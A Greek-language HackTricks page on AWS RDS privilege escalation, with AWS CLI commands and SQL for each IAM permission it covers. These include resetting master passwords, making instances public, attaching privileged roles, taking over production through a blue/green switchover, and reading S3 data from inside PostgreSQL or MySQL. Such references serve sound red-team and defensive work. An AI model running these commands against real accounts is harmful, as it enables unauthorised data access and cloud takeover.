AWS - RDS Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

RDS - Υπηρεσία Σχεσιακής Βάσης Δεδομένων

Για περισσότερες πληροφορίες σχετικά με το RDS δείτε:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να τροποποιήσει τον κωδικό του κύριου χρήστη, και τα διαπιστευτήρια σύνδεσης μέσα στη βάση δεδομένων:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

Θα χρειαστεί να μπορείτε να επικοινωνήσετε με τη database (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα).

Πιθανός αντίκτυπος: Εντοπισμός ευαίσθητων πληροφοριών μέσα στις databases.

rds-db:connect

Σύμφωνα με τα docs ένας χρήστης με αυτή την άδεια μπορεί να συνδεθεί στο DB instance.

Κατάχρηση δικαιωμάτων RDS Role IAM

Postgresql (Aurora)

Tip

Αν εκτελέσετε SELECT datname FROM pg_database; και βρείτε μια database που ονομάζεται rdsadmin, τότε ξέρετε ότι βρίσκεστε μέσα σε μια AWS postgresql database.

Πρώτα μπορείτε να ελέγξετε αν αυτή η database έχει χρησιμοποιηθεί για πρόσβαση σε κάποια άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε κοιτάζοντας τις εγκατεστημένες επεκτάσεις:

SELECT * FROM pg_extension;

Αν βρείτε κάτι όπως aws_s3 μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει κάποια μορφή πρόσβασης στο S3 (υπάρχουν και άλλες επεκτάσεις όπως aws_ml και aws_lambda).

Επίσης, αν έχετε δικαιώματα να εκτελέσετε aws rds describe-db-clusters μπορείτε να δείτε εκεί αν το cluster έχει οποιονδήποτε IAM Role συνδεδεμένο στο πεδίο AssociatedRoles. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν διαμορφωμένη για πρόσβαση σε άλλες υπηρεσίες AWS. Βάσει του ονόματος του role (ή αν μπορείτε να πάρετε τα permissions του role) μπορείτε να μαντέψετε ποια επιπλέον πρόσβαση έχει η βάση.

Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket πρέπει να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Εάν είχατε raw AWS credentials, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στα δεδομένα S3 με:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql δεν χρειάζεται να αλλάξει καμία μεταβλητή του parameter group για να μπορεί να έχει πρόσβαση σε S3.

Mysql (Aurora)

Tip

Μέσα σε ένα mysql, αν εκτελέσετε το query SELECT User, Host FROM mysql.user; και υπάρχει ένας χρήστης με όνομα rdsadmin, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια AWS RDS mysql db.

Μέσα στο mysql τρέξτε show variables; και αν οι μεταβλητές όπως aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη για πρόσβαση σε δεδομένα S3.

Επίσης, αν έχετε δικαιώματα να εκτελέσετε aws rds describe-db-clusters, μπορείτε να ελέγξετε αν το cluster έχει κάποιον σχετιζόμενο ρόλο, το οποίο συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS).

Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket χρειάζεται να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Ένας επιτιθέμενος με τα δικαιώματα rds:AddRoleToDBCluster και iam:PassRole μπορεί να προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα εντός του instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Πιθανός Αντίκτυπος: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance.
Σημειώστε ότι ορισμένα DB απαιτούν επιπλέον ρυθμίσεις, όπως το Mysql, το οποίο χρειάζεται να καθορίσει επίσης το role ARN στις parameter groups.

rds:CreateDBInstance

Ακόμα και μόνο με αυτή την άδεια, ένας attacker θα μπορούσε να δημιουργήσει μια νέα instance μέσα σε ένα cluster που ήδη υπάρχει και έχει IAM role συνημμένο. Δεν θα μπορέσει να αλλάξει τον master user password, αλλά ίσως να καταφέρει να εκθέσει τη νέα database instance στο internet:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

TODO: Test

Ένας επιτιθέμενος με τα δικαιώματα rds:CreateDBInstance και iam:PassRole μπορεί να δημιουργήσει ένα νέο RDS instance με έναν συγκεκριμένο ρόλο συνημμένο. Ο επιτιθέμενος στη συνέχεια ενδεχομένως μπορεί να πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.

Warning

Some requirements of the role/instance-profile to attach (from here):

  • Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας.
  • Το προφίλ πρέπει να έχει ένα IAM role που το Amazon EC2 έχει δικαιώματα να αναλάβει.
  • Το όνομα του instance profile και το αντίστοιχο όνομα του IAM role πρέπει να ξεκινούν με το πρόθεμα AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potential Impact: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην RDS instance.

rds:AddRoleToDBInstance, iam:PassRole

Ένας επιτιθέμενος με τα δικαιώματα rds:AddRoleToDBInstance και iam:PassRole μπορεί να προσθέσει έναν καθορισμένο role σε μια υπάρχουσα RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα εντός της instance.

Warning

Το DB instance πρέπει να βρίσκεται εκτός cluster για αυτό

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Πιθανός Αντίκτυπος: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance.

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να κλωνοποιήσει μια παραγωγική βάση δεδομένων (Blue), να επισυνάψει έναν IAM ρόλο με υψηλά προνόμια στον κλώνο (Green), και στη συνέχεια να χρησιμοποιήσει το switchover για να αντικαταστήσει το παραγωγικό περιβάλλον. Αυτό επιτρέπει στον επιτιθέμενο να ανυψώσει τα προνόμια της βάσης δεδομένων και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε άλλους πόρους AWS.

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

Πιθανός Αντίκτυπος: Πλήρης κατάληψη του περιβάλλοντος παραγωγής της βάσης δεδομένων. Μετά τη μεταγωγή, η βάση δεδομένων λειτουργεί με αυξημένα προνόμια, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS (π.χ. S3, Lambda, Secrets Manager) από εντός της βάσης δεδομένων.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks